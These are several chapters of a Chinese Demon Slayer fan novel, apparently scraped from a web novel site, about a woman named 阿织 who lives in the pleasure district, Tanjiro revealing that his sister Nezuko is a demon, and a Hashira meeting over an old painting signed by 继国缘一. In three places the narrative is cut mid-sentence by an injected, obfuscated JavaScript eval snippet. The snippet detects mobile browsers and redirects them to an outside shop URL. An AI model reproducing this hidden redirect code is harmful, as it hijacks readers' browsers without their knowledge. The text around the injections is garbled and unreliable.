阿织受到了重击,她简直不可置信。 不可能,绝对不可能,这是不可能的事情,她完全都没看出来过! 乌黑的眼瞳瞪得圆滚滚的,里面的焦急满的都要溢出来了,嘴巴不自觉张开,她的表情在明亮的灯光下格外清晰和生动。 阿织用目光催促着少年继续往下说。 灶门炭治郎擦了擦点心的残渣,正襟危坐,神色认真了起来:“我来这里正是为了须磨花魁,您知道她的消息吗?” 原来是须磨啊。 阿织是比须磨先来到时任屋的,但她和须磨没怎么相处过,因为须磨花魁看上去就是个性格干脆利落的人,本质是咸鱼的她有点怵。 没想到的是,她竟然是鬼杀队的人,不对,是鬼杀队成员的老婆。 涉及到了未知的领域,阿织呐呐道:“我也不太清楚,大家都说她‘私逃’了,老板娘找过几次,好像也没什么消息……原来是出事了么。” 因为“私逃”这类话题在花街中都是比较敏感的,大家刻意不提及,久而久之,就渐渐地被人忘却了。 阿织搅弄着手指,有些丧气,她懊恼于自己平日里没有多注意其他游女的消息,导致现在根本帮不上什么忙。 虽然就算她事先知道了,也可能无济于事,更有可能她自己也失去消息,但就是这种后知后觉的挫败感让人心里闷闷的。 她低头抿唇不语,肩膀耸了下来,睫羽垂着在脸颊上打下一片青影,眉眼间浮现出浓浓的沮丧,粉嫩的唇被抿得发白。 “我可以带你去须磨的房间,看看有没有什么线索。” 这么说着,其实阿织的心里也很没底。 有线索的可能性已经很小了,在最开始发觉须磨不见后到现在,那个房间估计已经被打扰了很多次,可能再过不久,就会住上新的游女。 “阿织小姐告诉我位置就行了。”灶门炭治郎摇了摇头,直截了当地拒绝道,“我自己一个人去。” 他从一开始就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815308|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够看出阿织并不是擅长战斗的人员,或者说她根本就不会战斗,再加上富冈先生和锖兔先生事先交代了他。 阿织小姐就像是一座漂亮易碎的瓷器,让她牵扯进这件事是十分不明智的事情,她只需要呆在房间等待鬼被消灭掉就好了。 但就目前的情况来看,呆在房间里似乎也不是很安全了,整条花街都成了鬼的猎食场。 “炭治郎,没关系吗?” 阿织仍然是忧虑的,她注视着少年,睫毛微微地抖动着,乌黑的发从耳畔落了下来,担忧的情绪汇聚成小溪流淌在她的眉眼间。 她不知道灶门炭治郎这个小少年经历了多么艰苦的训练才加入了鬼杀队,在她心中,他首先是一个十几岁的孩子,然后才是其他的身份。 已经失踪了这么多人,这只将自己完美地藏匿起来的鬼一定不简单。 如果她也是一位厉害的剑士就好了,那样阿织就不用躲在别人的身后被保护,而是挺身而出去保护别人。 细白的手指在无意识地搅动,阿织差点都急得扣指甲了。 “没事的。”灶门炭治郎神色温柔,语气中是让人无法反驳的笃定,“我会注意安全的,而且有宇髓先生在附近。” 看出了阿织的担忧,灶门炭治郎补充道。 ——好叭。 刚才少年简单说过了音柱宇髓天元的情况,虽然震惊于他竟然有三个老婆,但他是柱,实力应该会很强,有个靠谱的大人跟着总是好的。 阿织稍微安心了一些,没有再坚持,她很是听劝地点了点头,然后似有似无地叹了一口气,如果真出了什么事,她在场就是个累赘。 沉稳的形象荡然无存,没想到她的没用已经被看出来了。 “炭治郎,要把行李先放在这里吗?” 阿织注意到这个灶门炭治郎工作时还把一个大箱子放在旁边,应当是装着极为珍视的东西,才会到哪里去都寸步不离身。 鬼杀队在执行任务时不可避免地需要跑跑跳跳,如果是这样的话,那行动起来一定会磕着碰着。 她伸出食指指了一下,认真地说道:“我可以帮你看着行李的。” 为了让少年安心,阿织拍了拍胸口,微微倾身,斩钉截铁的语气里包含着满满的真诚:“放心吧,我保证在房间里寸步不离。” 阿织觉得自己别的不行,看个箱子还是可以的,除非这个箱子长了腿可以跑,否则肯定能照看的好好的。 在灶门炭治郎回来之前,阿织是不会让别人靠近这个箱子的。 灶门炭治郎伸向箱带的手微微一顿,他红着脸,不好意思地抓了抓头发,清亮的嗓音中潜藏着一丝不易察觉的沉重:“不是行李。” 少女微微仰着头,细软的发丝从耳后垂下,十足温驯无害的样子,对他的回答产生了疑惑,却没有问,而是做出了倾听的动作。 阿织小姐的性格真的和她的外表一样柔软,这种柔软能够让人忍不住把自己内心的话一一道出。 灶门炭治郎听到自己又接着说了一句:“是祢豆子,是妹妹。” 15. 第 15 章 第 15 “………” 阿织呆滞了一下,确认自己刚才没有耳鸣以及自己的脑子没有出问题后,她陷入了沉思:“…妹妹?” 是她理解的那个妹妹吗? 阿织极为震撼地身体晃动了一下,她勉强单手撑在地上稳住身形,有些承受不住了大起大浮的情绪冲击。 这件事听起来确实很难让人接受,灶门炭治郎在说出来之前就已经做足了心理准备,迎着阿织不可思议的目光,他肯定地点了点头。 “是妹妹。” 阿织瞪大眼睛,满肚子疑惑,一点都不带犹豫地提高声线:“怎么能把妹妹放到箱子里?憋坏了怎么办?” 她一边手足无措,一边又在告知灶门炭治郎他这种行为的危险性。 那木箱做工很好,每一块都切割得很好,似乎是用了什么特殊材料,整体看起来都颇为紧凑,表面还涂了一层漆皮,是装东西的好箱子,却不适合放人。 这是连阿织都能看出来的事实。 炭治郎,你清醒一点啊! 漂亮的少女眼睛瞪得溜圆,秀气的眉头紧锁,轻柔的嗓音因为急迫变得稍微高亢了点,满脸不可思议,看上去好严肃的样子。 似乎是因为还保持着最后的理智,才没有抓住他晃晃脑袋里的水。 是看了让人忍不住莞尔一笑的感觉,灶门炭治郎唇间上扬了些,但很快又垮了下去。 怎么办,要不要说,阿织小姐是个和富冈先生和锖兔先生一样的好人。 阿织小姐所表现出来的焦急的背后隐藏着的是满满的关切,对上那双清澈的眼眸,灶门炭治郎根本没有办法用虚假的语言去搪塞她。 他深吸了一口气,最终把所有的实情都说出来。 “因为我外出卖炭,家人们遭受了袭击……然后祢豆子变成了鬼……” 短短的几句话,灶门炭治郎仿佛又回到了那个冬天,在小木屋里发现了家人的尸体,重新体味到了那种绝望到崩溃的情感。 但好在,现在有别的东西支撑着他一步一步前进,他接着将如何遇到富冈义勇以及自己带着弥豆子加入了鬼杀队的也一并告知。 “祢豆子虽然是鬼,但是她不吃人。” 尽管这么说了,但灶门炭治郎结束的时候还是眉头紧皱,用力地闭上了眼睛,表现得像是要接受什么审判一样。 不是所有人都能接受变成鬼的弥豆子的,从柱合会议开始炭治郎就已经能够深切体会到这个事实了。 但灶门炭治郎清楚地知道这种情况也怪不了别人,人之常情罢了。 他有点不敢想如果阿织小姐露出害怕厌恶的表情的话,他要做出什么样的反应。 灶门炭治郎实在不想因为这件事而和任何人产生矛盾,哪怕只是一点点,他更不想让富冈先生在意的人失望。 ——信息量很大,需要花时间来消化。 阿织脑子里乱糟糟的,她没想到自己一句话就直接揭开了埋藏在少年心底深处的伤疤,整个人懊恼得想要找个地缝钻进去不出来了。 其他的亲人都遇害了,只有妹妹活了下来却变成了鬼,阿织光是听着都痛苦得不得了,她觉得这种事情落在自己身上她一定会发疯。 尽管凝结在灶门炭治郎眼眶中的泪水最终没有落下来,但阿织还是感受到了前所未有的罪恶,是那种以后每回想起来一次都会骂自己“我真该死”的罪恶。 愧疚占据了她全部的心神,该是重点的“鬼”没有引起她的丝毫注意。 阿织都有些后悔多嘴了,她双手合拢,急忙开始道歉:“对不起啊,炭治郎,我不是故意这么说的,对不起啊……” 情况好像完全颠倒了过来,从最开始的炭治郎向阿织道歉,转变为阿织向炭治郎疯狂道歉。 000:感觉像是在看一场表演。 有这么一种情况,当别人表现得比你更为慌张的时候,自己就不会这么慌张了,这叫做走自己的路让别人无路可走。 阿织如今的表现就完美地践行了这种情况。 灶门炭治郎不知道事情为什么会朝着奇怪的方向发展,他呆滞地坐在原地,眨了眨豆豆眼,突然感觉自己刚才的纠结毫无意义。 他脸色呆滞地重复了重点,甚至还加重了语气:“阿织小姐,我是说,祢豆子现在是鬼。” “…………” 少年唇抿成了一条直线,表现得像是一个面对着被封好的礼物却不敢打开,生怕希望落空的孩子那样既期待又恐慌地询问:“您不害怕吗?” 阿织差点都要眼泪汪汪了,她小心翼翼地确认了灶门炭治郎似乎真的没有被她的态度刺痛,脑子才开始重新运转。 ——炭治郎的妹妹,祢豆子,是鬼? 是她想象中的那种鬼吗,那种满嘴獠牙凶恶地要吃人的鬼? 头好痛,是脑子要长出来了吗? 啊,不对,他都说了祢豆子不吃人,而且义勇和锖兔似乎也知道这件事,既然如此…… ——难道鬼不用呼吸吗? ——这么小的箱子能装的下多大的鬼? ——不吃人的鬼是什么样子的? 阿织疯狂头脑风暴,她茫然的时候,就像是一只纯良的不谙世事的小动物,只是纵使她有满腹的疑惑,也因为自己刚才的失言而不敢问出口了。 “我不害怕的。”她拍了拍灶门炭治郎的肩膀,索性放弃了思考,回答了他的疑问,“虽然有点神奇,但大千世界,无奇不有嘛。” 对于祢豆子是鬼却不吃人这件事,阿织接受良好,毕竟她身上也有很多匪夷所思的地方,她身上还绑定了一个000呢。 不吃人的鬼就是好鬼! “而且,如果是义勇和锖兔的话,是不会有错的。” 对于眼前的小少年,阿织是有天然的好感的,严格算下来,炭治郎应该是义勇和锖兔的同门师弟。 阿织总是毫不掩饰地在别人面前表现出了她对富冈义勇和锖兔的信任,这种在某些时候格外珍贵的情感被她能够很轻易地交付出来。 她也把这种信任交付给了第一次见面的灶门炭治郎,虽然是在信任富冈义勇和锖兔的基础上。 ——审判结束,重获新生。 灶门炭治郎咬着唇,双手按在膝盖上,鞠了个躬,泪水不受控制地流了出来,滴落在地板上:“……非常感谢您。” 少年如释重负一样,就好像刚才的他是站在悬崖的边缘,只要稍有一些不利的风,就能把他吹下去了。 蓦地,除了失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815309|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去亲人的伤痛之外,阿织突然感知到了肩负在灶门炭治郎肩膀上那无形却又沉重无比的枷锁。 对这样的情绪她意外地很敏感。 这个少年应当一直以来内心都是充满着不安和迷茫的,对于妹妹变成鬼的不安,以及对于前路未卜、不知道命运将会如何发展的迷茫。 阿织是体味过这种滋味的,无助,彷徨和害怕,这种浸没到了骨髓里的消极情绪是怎么都没有办法完美地隐藏起来的,它需要时间来慢慢地一点点消解。 和最初刚来到这个世界的自己一样,即便阿织有000的帮助,她也还是在融入这里时吃了不少苦,他们两个人简直就是在照镜子。 隔的不远,阿织慢吞吞地支撑起了身体,身形微微前倾,顺着自己的心意摸了摸少年蓬松的额发,和她自己截然不同的手感,有点刺硬,却不十分扎手。 就如同灶门炭治郎外在表现出来的那样。 “别哭啊,炭治郎。”阿织向来是很乐观的,因为知道愁眉苦脸也解决不了问题,她努力想用单薄的话语起一点作用,“不要想这么多,祢豆子的存在,本身就是巨大的希望。” 阿织莫名就有这样的感觉。 少女抽出手帕轻柔擦了擦他面颊上的眼泪,眸光明亮,像是倒映了满天的星河:“你们两个互相陪伴,以后肯定会变好的。” 在她简单的头脑里面,虽然弥豆子变成了鬼,但她显然还保持着人的理智,炭治郎就不是孤单的一个人面对无边的伤痛。 阿织有心想让气氛变得没有那么的沉重,却意外地说出了很真诚的话:“我、义勇、锖兔,我们都相信你们。” 可能是因为性格的原因,即便有人相信,诸如富冈先生、锖兔先生、善逸和伊之助,他们也只会用行动来代替言语,就算是言语,也是隐晦的。 从来都没有人如此直白地对灶门炭治郎说出这样的话,如此肯定地说出这种有希望、未来会变好的话,其实就连他自己对此也抱着不确定的态度。 这无疑是一种前所未有的鼓舞。 “好温暖。” 灶门炭治郎不由自主地呢喃,他如同置身于温暖的浪潮中,整个人飘忽忽的,胸腔也焕发出奇异的鼓动。 灯光从头顶照射下来,少女白净的侧脸在修长的脖颈间打下阴影,黑白分明的眼睛凝视着他,眉眼间一片柔和,连头发丝都被晕染出暖色。 从始至终,灶门炭治郎没有从阿织身上嗅到害怕、恐惧或者是怀疑的气味,哪怕是一点点都没有,有的只是柔软的、淡淡的芳香。 离得更近了些,灶门炭治郎终于知道了他最开始嗅到的那股若有若无的香气是什么了。 是紫藤花的香气,轻盈地敷在少女的周围,稍微动作就微微浮动开。 好温暖,让人忍不住就卸去了所有负担,短暂地沉溺在这无边的平和当中。 阿织虎摸炭治郎的头发,内心满满的成就感:【我也是一个合格的前辈了,看来我比较适合做思想工作。】 000:【是你先提到人家伤心事的吧?】 【哼!】阿织偷偷翻了个白眼,她觉得000很可恶,但又下意识地依赖它,【有一件事我觉得有点奇怪……等炭治郎离开的时候我要问一下。】 16. 第 16 章 第 16 炭治郎最终没有把弥豆子留下,仅存的兄妹羁绊让他们两人很难再分开了。 因为事先不知道隐藏的内情,才提出了帮忙看箱子的阿织表示很理解。 听说少年还有同伴在京极屋和荻本屋,荻本屋阿织并不怎么熟悉,但京极屋可是有最有名的蕨姬,她所熟知的大多都是一些和人的情报。 这些估计也帮不上什么忙。 “炭治郎…”阿织叫住了少年,她抿了抿唇,剔透的眼珠停留在了灶门炭治郎的耳边,问出了一直以来比较在意的一件事,“你的耳饰是…?” 阿织也不知晓自己为什么会在意这个耳饰,这个耳饰似乎拥有一种特殊的魔力,让阿织在看到的一瞬间,就无法忽视它。 那是一种被激发出来的极为陌生的、埋藏在灵魂深处的悸动。 她甚至都不知道自己想问些什么,又或者是想从少年那里得到一个什么样的答案,但她还是开口问了。 “……耳饰?” 完全没有预料到阿织会问出这样一个问题,灶门炭治郎不明所以地重复了一遍,捕捉到了少女面颊上并没有刻意隐藏的期冀。 少女似乎是想要触碰一下这个耳饰,踮起脚尖,不由自主地探出手来,灶门炭治郎微微俯身,但是那雪白的指尖还没有碰到就受惊了一样缩了回去。 灶门炭治郎愣了一下,没有坚持,他站直了身体,摸了摸颊侧的日轮耳饰,面上是明朗的笑容。 “是爸爸给的,听他说是祖先代代相传留下来的。” 少年没有必要也没有动机在这种小事上撒谎,况且他也不是这样的人。 明明给出的是一个标准答案,很奇怪,在听完了之后,阿织的内心却隐隐有一种淡淡的遗憾弥漫开来,就好像她想听到的并不是这些。 可是如果不是这些,那最符合她的预期的答案又是什么呢? “这样啊。” 阿织不明白,她的声音一瞬间轻得像细沙,似乎被风一吹就会散在了空气中,呆怔了一小会才再次回过神来。 这个答案没有带来什么意想不到的结果,阿织内心那种莫名其妙的怅然若失,随着这个话题的结束消失不见,并没有在她的心中留下太多痕迹。 可能是最近没睡好,让她脑子里涌现了许多奇怪的想法,阿织重新扬起笑容,她又撸了撸少年的额发,圆润的眸子里融化了蜜糖。 最后还是没忍住,踮起脚尖在少年的面颊上捏了一下,低声十分认真地嘱托道:“炭治郎,遇到特别危险的情况一定要毫不犹豫地跑!” 阿织不觉得在没有胜算,冲上去就会牺牲自己的生命的时候逃跑是一件错误的事情,相反,她认为这是极为正确的做法。 在阿织这里,逃跑不可耻,就像是她,不跑的话只会拖后腿,而炭治郎的话,大概会因为正直的性格而谴责自己。 “一定、一定要注意安全啊。” 少女眸光温柔,唇齿间吐露出的是满满的关怀,姿态亲昵的举动让灶门炭治郎很容易就能够联想到家人。 饶是灶门炭治郎再怎么稳重也有些沉溺在其中了,他红着脸大脑无法思考,下意识地“嗯”了一声,应声之后才反应过来阿织说的是什么意思。 灶门炭治郎猛地睁大了眼睛,脑海中瞬间划过无数想法。 首先是阿织小姐说的怎么和别人说的完全不一样啊?其次是善逸应该会很喜欢阿织小姐吧。 ◇◇◇◇◇◇ 灶门炭治郎去往须磨房间了,没再过多的停留,是鬼杀队一贯的来也匆匆去也匆匆的风格了。 自他走后室内就重新归于平静了,阿织睡意完全消散,她抱膝坐在地板上,慢吞吞地用指尖抚摸地毯边,脑子里忍不住想着鬼的事情。 如果不见了的女子全被鬼抓走了的话,花街每个屋里或多或少都有几位游女失踪,这么算下来,应该也有百十人了。 她依稀记得吃的人越多,代表鬼的实力越强大,这无疑是一个坏得不行的消息。 阿织有些心烦意乱,她气愤地咬了一口点心,解恨似的嚼着:【好可恶的鬼啊!】 【你刚才,为什么要问那个问题?】 像是已经等待了很长时间,000有些迫不及待,但它又强行把这种情绪压抑了起来,让自己显得没有那么的急迫。 阿织轻轻“啊”了一声,浓密的睫羽扑朔了一下,表情茫然地询问:【什么?】 她已经把刚才的事情抛到脑后了。 【就是…那个耳饰。】那个背后隐藏了很多隐蔽之事的日轮耳饰。 000尽量让自己显得很平静,可天知道,它刚才听到阿织问出这个问题的时候,整个精神体都“嗡”了一下,品味到了鲜少有过的忐忑不安。 阿织停顿了一下,尽管是间隔的时间其实很短暂,但她已经完全体会不到当时的感受了,根本说不清楚原因。 她咬着指尖,眸中流露出一点恍惚:【不知道欸,可能是那个日 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诚然,阿织比它以往带过的任何一个宿主都更听话,倘若是在一些低危世界,恐怕花费不了多长时间就能结束任务,而且还会拿到一个最高评分。 也是阿织运气不好,第一次就遇到了一个等级最高的危险世界,000已经尽力将她保护得很好了。 就目前的状况来看,如果计划按照预料中发展,不出意外的话,所有的一切将画上一个圆满的句号。 回想起几年前阿织最初进入这个世界时的惊心动魄,000还有点心有余悸。 毫不夸张地说,修养了这么长时间,它当时所消耗掉的能量还没有恢复到最佳的状态。 000真心觉着等到任务完成之后,系统中心应该给它发一个最佳系统奖,才对得起这一路的颠沛流离。 它又接着说了一句,语气很是严肃,【最近乖一点,不要惹事。】 阿织刚刚稍微放心了些,又遭遇到了000的指控,她对000的说的话很不赞同,皱了皱鼻尖,小声辩解道:【我哪有,我躲着还来不及呢。】 为了避免惹祸上身,她向来很乖,不凑什么热闹的。 不过,阿织觉得有点奇怪。 她眨了眨眼睛,语气带着不解,很是真诚地问道:【你今天有点子奇怪哦,怎么这么好说话。】 阿织都有些不习惯了。 000:【!】被吓到了! 17. 第 17 章 第 17 烈日当空,产屋敷宅邸的庭院静得能听到落花的声音。 百年古松的阴影斜切过白砂地,竹筒规律地敲击着水面,溅起的水珠在阳光下碎裂成虹,廊下垂挂下来的藤花随风摇晃。 空气里药香与花香交织在一起,拉门内传来压抑的咳嗽声。 几个身影悄无声息地掠过,几乎没什么动静,快得让人怀疑自己的眼睛出了问题。 不算十分正式的“柱合会议”,因为只有几个执行完任务并且还离得近的柱赶了回来,除了到场的人数之外,会议的主题与以往也截然不同。 进入到室内时,伊黑小芭内才知晓今天参会的人员具体有哪些,没有看到甘露寺蜜璃,却看到了富冈义勇,他按捺不住地冷嗤了一声。 富冈义勇和锖兔已经提前等待在那里了,但他们其实也没有早到多少时间,足以看出这次会议召开得十分仓促。 伊黑小芭内向来看不顺眼富冈义勇,但他对锖兔却很和善。应该说,鬼杀队所有的柱都很难对“水柱”锖兔冷脸相对。 他脸色难看地转身坐到了另外一边。 回来时没怎么修整,所以几个人都显得风尘仆仆的,但是精神状态都很不错,身上也没有受伤。 现在的他们,除非是遇到了上弦,轻易不会负伤。 寂静的和室内,等到召集的人员全部到齐后,病弱的青年跪坐在光影交界处,苍白手指轻抚茶盏,没等大家行礼就直奔主题。 产屋敷耀哉正襟危坐,面颊不像往常那样惨白,相反隐隐可以观察到一些血色,侍候的孩子把手中的盒子放到了众人中间。 这里面装着一副不久前『隐』刚刚送到产屋敷宅的画,一副让产屋敷耀哉准备为之大动干戈的画。 “这是一副战国时期的画。” 画卷微微泛黄,不难看出其年代的久远,但除却年代的印记,画卷整体未见有明显的损坏,由此可见是花费了一番功夫才保存得这么好。 画上的内容很简单,是一位美人。 随着画卷徐徐展开,泛黄的画纸上,女子的面容也逐渐展现在了众人的眼前,正因为看得格外清楚,所以室内因画上人的容颜而静止了一秒。 她穿着浅色的和服,肩上披着一条暗红色的羽织,乌黑如墨的发上只戴了一只简约的木簪,再没有什么其他的装饰。 未施粉黛却难掩其精致的面容,静静地跪坐在花丛旁,笑得眉目如画。 落下的一笔一划都诉说着温情,人物也描摹得栩栩如生,不难看出作者在创作时对画中女子是拥有着怎样深厚的爱慕情感。 ——很美丽的人,第一次看到的人无不这么想。 若只把这当作是一副美人图,除了惊艳并感叹于百年前竟有这么一位美丽的女子,恐怕做不了他想。 最多,再把画卷当成一件上千年的古董,继续好好保存下去以增加更多的价值,自有喜好收藏美人图的富商愿意为此出高价。 但这无论从哪一方面来看,似乎都和他们鬼杀队没有半分关系,也根本没有必要为这么一幅画浪费大家的时间。 出于对主公的信任与尊重,伊黑小芭内没有出声,他耐心等待着黑发主公接下来的解释。 事实上,这副画最初确实是被当作一件珍贵的古董奉送给鬼杀队的人的。 因感激于被从恶鬼口中救下的救命之恩,富豪将自己珍藏多年的古董画卷献出,并在离开前告知这副画上隐藏了一个惊天的秘密——有关消灭恶鬼的秘密。 这副画是富商祖上传下来的,历经了许多代,没有哪一任的家主去认真地探寻过画的秘密,甚至都把它当作是上一辈的玩笑话。 富商以前也不把这个秘密放在心上,世人有时喜好使一些小手段,用“嘘头”把画炒出更大的价钱,这个玩笑一样的秘密也不外如是。 直到他真正遇到了食人恶鬼,才想起有这么一回事。 但这本不必惊扰到产屋敷的家主的,世上和神鬼之事挂钩的有这么多,多数是凭空杜撰的。 充其量不过是一副可以与金钱等值的画罢了,况且那个虚无缥缈的秘密连真假都无从得知。 这件事连让主公知道的可能性都没有,救人的鬼杀队成员自然不肯收下这个谢礼。 只是这位富豪实在是一个太懂得感激的人了,双方推拒之中,画卷脱手落到了地面上,好在运气比较好没有什么损坏,只是顺着力完完整整地摊开了。 于是那个尘封许久的名字见了天日。 在收拾的过程中,那位鬼杀队剑士不经意间看见了这个名字,也比较巧合的是,他在鬼杀队的等级并不低,他知晓有关这个名字的许多故事。 如同命运的指引一般,他整个人都僵在了原地。 那卷轴的尾部,赫然落着一个名字,一个值得把这副画送到产屋敷宅让主公大人亲自定夺的名字。 这才是今天会议真正的主题。 苍白的手指落在卷纸上,产屋敷耀哉正要接着将最后的部分展开,就察觉到了身边剑士与众不同的反应。 和从始至终都疑惑着的其他人不同,富冈义勇和锖兔无疑是这间和室内受到冲击最大的两个。 一直以来都不曾松懈的呼吸法都乱了几秒,富冈义勇和锖兔疑惑地皱起了眉头,造成这一切的原因都只是那画上人无比熟悉的面容。 那画上人明明就是他们不久前才在时任屋见过面的阿织。 以往,倘若分配的任务在吉原附近,并且在除完鬼还不着急前往下一个地方时候,富冈义勇和锖兔会利用鎹鸦传递给阿织短暂见面的消息。 自加入鬼杀队以后富冈义勇和锖兔为数不多的美好回忆大多都在这期间产生,可以说每次在去往的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815311|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上他们的心情都是极为轻松的。 而阿织大多会高兴地坐在桌子前,桌面上摆满了热气腾腾的食物,因为她经常会买一些稀奇古怪的小零食和他们分享。 但她偶尔也会比较安静,不是那么开心地等待着,每次还自以为自己掩饰的很好。 惹得她心情不好的原因往往并不很复杂,甚至称得上是一些无关紧要的小事,诸如加班了、偷懒被老板娘骂了、买不到合心意的点心之类的。 这类问题都很好解决,日常生活中她最大的烦恼也不过这些了。 每每这时,富冈义勇推开虚掩着的门,又或者是锖兔从窗外翻身进入室内,映入眼帘的便是少女喜笑颜开或者是有些闷闷不乐地等待着的样子。 她微垂着眼眸,弯弯的柳叶眉下那浓密的睫羽在脸上打下细细密密的阴影,柔顺的下颚弧线,冷白的肤色与乌黑的发更衬得人好看几分。 因为需要和记忆中的少女做比对,所以两人才清楚地认识到了,原来之前已经司空见惯的画面竟被如此深刻地刻印在脑子里,等到需要的时候根本不用费什么劲就浮现了出来。 时任屋并不十分明亮的昏暗灯光下,阿织浅笑的模样与那泛黄画卷中的女子——几乎重叠在一起。 ——太像了。 毫不夸张地说,简直就是一个模子刻出来的。 倘若不是已经知道这是一副几百年前的画,富冈义勇和锖兔都怀疑是有人比对着现在的阿织一笔一笔画出来的。 从未料想到的事情让他们有些许的失态。 这样的表现引起了产屋敷耀哉的注意,自然也引起了伊黑小芭内的不满,他乌黑的瞳眸注视着有些震惊的富冈义勇,冷着声音道:“富冈是对此有什么想法吗?” 伊黑小芭内对富冈义勇的讨厌深入骨髓,他拖长嗓音阴阳怪气,不放过任何一个挑刺的机会的。 黑发剑士面无表情地抬起头来看了伊黑小芭内一眼,根本没有意识到自己被针对了,然后又看向了端坐着的锖兔。 “小芭内!”产屋敷耀哉发声制止,然后探究性面朝着富冈义勇和锖兔,眉眼间依旧是温润的神色,却也带着些疑惑,“义勇和锖兔是有什么想说的吗?” 天光被浮云遮掩了起来,室内骤然变得暗沉了起来,穿堂风缓缓吹过,年轻主公的话音在微风中刚落,便有声音紧接着响起。 “主公大人。” 肉发剑士恭敬地微微阖首,落在画卷上的目光泛起圈圈的涟漪,似乎是被触及到了心底柔软的地方,冲淡了周身的强硬气息。 锖兔将自己的真实想法道出,他自然是不会隐瞒的,但内心的浓郁的不解仍然让他停顿了一下:“阿织…与画上女子十分相像。” 他的眼眸又安静地划过画卷,为了表示出相像的程度,沉声对年轻主公说道,“几乎一模一样。” 18. 第 18 章 第 18 “阿织”对于别人来说,又是一个颇为陌生的名字,除了富冈义勇和锖兔外,产屋敷耀哉应该算是在场唯一一个见过阿织的人。 当年发生在藤袭山试炼的事情太过于离奇,一个没有自保能力的少女凭空出现在了危险重重的试炼地,还十分戏剧性地失去了所有的记忆。 听起来就让人忍不住去怀疑这其中是不是隐藏了什么阴谋。 从很久之前,鬼杀队就一直是极其隐蔽地行动着的,对于绝大多数的普通人来说,他们一生当中可能都从来没有听说过这个名字。 常人要想在这个时候出现在藤袭山不是一件容易的事,或者更直截了当一点,这基本上就是不可能的事情。 因此必须要把来龙去脉的查清楚。 再加之锖兔在那一期中的表现十分卓尔不群,他几乎除掉了山上所有的鬼,产屋敷耀哉私下里就同时接见了他们。 鬼杀队的医生仔细检查了阿织的身体,确认了她的失忆不是由于头部受到过撞击造成的,然而她的茫然也不是装出来的。 身量娇小的少女没什么安全感地环抱着自己,脸蛋有些苍白,就像是一只小奶猫想拼命地把自己缩成一团,一点点的细微动静都能吓得她炸起毛。 但即便是被吓到了,也不会对人呲牙咧嘴,还是十分努力地在配合着对她来说完全陌生的一切安排。 和她最初留给人的完全无害的印象完全一致,少女真是从骨子里透出来的乖巧,检查身体时让她低头就低头,让她伸手就伸手,一点都不带反抗的。 也不怎么开口说话,就那样眼巴巴地望着别人,队医也是许久没有遇到过这么听话的病人了,乖得让人忍不住偷偷塞几颗糖果来奖励她。 在确认完阿织真正无害后,有关她的事情本该到此为止了。 再后来,阿织自己申请潜伏在花街,产屋敷耀哉作为潜伏人员背后之人,因为一些先辈们理不清的错杂关系,和老板娘做了一些约定。 严格说起来,这只是日常生活中的一个小插曲,没想到事件的主人公在今天才掀起了惊涛骇浪。 产屋敷耀哉当时的眼睛还没有受到疾病的侵袭,他是真正见过阿织的面容的。 过了这么多年,一般人经历了这么短暂的一面,恐怕模糊记得名字已经称得上是很不错了,更别提还能想起人的脸。 但良好的记忆力还是让他直接就对应上了阿织的脸,即便年龄上存在一些差异,产屋敷耀哉还是能够口述出来一些细微的面部特征与画上的人对应起来。 ——特征完全符合! 虽然不是没有世界上两个完全没有关系的人面容相似的可能性,但是这毕竟是小概率事件。 所以相比于她们完全没有关系,更有可能的是,阿织就是画中人的后代,这也是产屋敷耀哉目前最想听到的好消息。 只是因为疾病的原因,产屋敷耀哉目前是双目失明的状态,才没有在见到这副画后第一时间发现这个巧合。 巧妙的是,冥冥中,似乎有一只无形的大手在拨云去雾,让事情朝着越来越清晰的方向发展着。 “是这位姑娘啊。” 产屋敷耀哉感慨着,他微微仰起头,空荡荡的眸子里似乎藏着很多意味深长的东西。 事实上,他的激动几乎压抑不住,向来的沉稳被打破,在重重地吸了一口气后,他拿着画卷的手指也忍不住在颤抖。 这极其少有的场景让在场的三位柱还是满头雾水,他们不明白自己所信服的主公缘何如此激动,也不知道这样的事究竟代表着什么。 “主公大人?” 稍稍让自己平静了下来,产屋敷耀哉清楚在场的其他人都很不解,却也没有用话语解释——是时候揭晓这次会议的谜题了。 画卷完全被打开了,末尾处画家的署名吸引了在场所有人的眼球,却也打破了所有人的冷静,甚至是第一眼看到时就有人惊呼出来。 “——继国缘一!!!” 伊黑小芭内不可置信,身体不自觉地朝前探了探,想要确信自己没有看错。 那上面清清楚楚撰写着的确实是继国缘一没有错,这个深深刻在无数猎鬼人心中、拥有着传奇色彩的人物,竟以这种方式又重新出现在了世人的眼前。 ——继、国、缘、一! 